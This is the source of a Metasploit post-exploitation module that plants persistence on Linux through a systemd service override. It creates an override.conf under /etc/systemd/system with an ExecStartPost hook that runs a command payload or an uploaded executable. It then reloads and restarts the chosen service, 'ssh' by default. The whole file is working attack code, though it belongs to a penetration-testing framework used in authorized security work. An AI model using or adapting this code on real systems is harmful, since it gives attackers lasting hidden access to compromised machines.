Path: blob/master/modules/exploits/linux/persistence/init_systemd_override.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix10include Msf::Exploit::FileDropper11include Msf::Exploit::EXE # for generate_payload_exe12include Msf::Exploit::Local::Persistence13prepend Msf::Exploit::Remote::AutoCheck1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Service SystemD override.conf Persistence',20'Description' => %q{21This module will create an override.conf file for a SystemD service on the box.22The ExecStartPost hook is used to launch the payload after the service is started.23We need enough access (typically root) to write in the /etc/systemd/system24directory and potentially restart services.25Verified on Ubuntu 22.0426},27'License' => MSF_LICENSE,28'Author' => [29'h00die',30],31'Platform' => ['unix', 'linux'],32'Privileged' => true,33'Targets' => [34['systemd', {}],35['systemd user', {}]36],37'DefaultTarget' => 0,38'Arch' => [39ARCH_CMD,40ARCH_X86,41ARCH_X64,42ARCH_ARMLE,43ARCH_AARCH64,44ARCH_PPC,45ARCH_MIPSLE,46ARCH_MIPSBE47],48'References' => [49['URL', 'https://www.freedesktop.org/software/systemd/man/latest/systemd.service.html'],50['URL', 'https://askubuntu.com/a/659268'],51['URL', 'https://wiki.archlinux.org/title/Systemd'], # section 2.3.2 Drop-in files52['ATT&CK', Mitre::Attack::Technique::T1543_002_SYSTEMD_SERVICE]53],54'SessionTypes' => ['shell', 'meterpreter'],55'Notes' => {56'Stability' => [CRASH_SAFE],57'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],58'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]59},60'DisclosureDate' => '2010-03-30' # systemd release date61)62)6364register_options(65[66OptString.new('SERVICE', [true, 'Service to override (e.g., sshd)', 'ssh']),67]68)69register_advanced_options(70[71OptBool.new('ReloadService', [true, 'Reload the service', true])72]73)74end7576def check77print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')7879root_dir = '/lib/systemd/system/'80service_file = "#{root_dir}#{datastore['SERVICE']}.service"8182return CheckCode::Safe("Service #{datastore['SERVICE']} doesnt exist in #{root_dir}") unless exists?(service_file)8384service_root_dir = '/etc/systemd/system/'85service_dir = "#{service_root_dir}#{datastore['SERVICE']}.service.d"86override_conf = "#{service_dir}/override.conf"8788if directory?(service_dir)89return CheckCode::Safe("No write access to #{override_conf}") if exists?(override_conf) && !writable?(override_conf)90return CheckCode::Safe("No write access to #{service_dir}") if !exists?(override_conf) && !writable?(service_dir)91else92return CheckCode::Safe("No write access to #{service_root_dir}") unless writable?(service_root_dir)93end9495CheckCode::Appears("#{writable_dir} is writable and system is systemd based")96end9798def install_persistence99print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')100101service_dir = "/etc/systemd/system/#{datastore['SERVICE']}.service.d"102override_conf = "#{service_dir}/override.conf"103104unless exists?(service_dir)105vprint_status("Creating #{service_dir}")106create_process('mkdir', args: ['-p', service_dir])107end108109if exists?(override_conf)110conf = read_file(override_conf)111backup_conf_path = store_loot(override_conf, 'text/plain', session, conf, 'override.conf', "#{datastore['SERVICE']} override.conf backup")112vprint_status("Backup copy of #{override_conf} stored to: #{backup_conf_path}")113@clean_up_rc << "upload #{backup_conf_path} #{override_conf}\n"114else115@clean_up_rc << "rm #{override_conf}\n"116end117118if payload.arch.first == 'cmd'119p_load = payload.encoded120p_load = ' &' unless p_load.end_with?('&')121contents = <<~OVERRIDE122[Service]123ExecStartPost=/bin/sh -c '#{p_load}'124OVERRIDE125else126payload_path = writable_dir127payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"128payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)129payload_path << payload_name130print_status("Uploading payload file to #{payload_path}")131upload_and_chmodx payload_path, generate_payload_exe132contents = <<~OVERRIDE133[Service]134ExecStartPost=/bin/sh -c '#{payload_path} &'135OVERRIDE136end137138vprint_status("Writing override file to: #{override_conf}")139write_file(override_conf, contents)140141# This was taken from pam_systemd(8)142systemd_socket_id = cmd_exec('id -u')143systemd_socket_dir = "/run/user/#{systemd_socket_id}"144cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl daemon-reload")145146@clean_up_rc << "execute -f /bin/systemctl -a \"daemon-reload\"\n"147@clean_up_rc << "execute -f /bin/systemctl -a \"restart #{datastore['SERVICE']}.service\""148149if datastore['ReloadService']150vprint_status("Reloading #{datastore['SERVICE']} service")151cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")152end153end154end155156157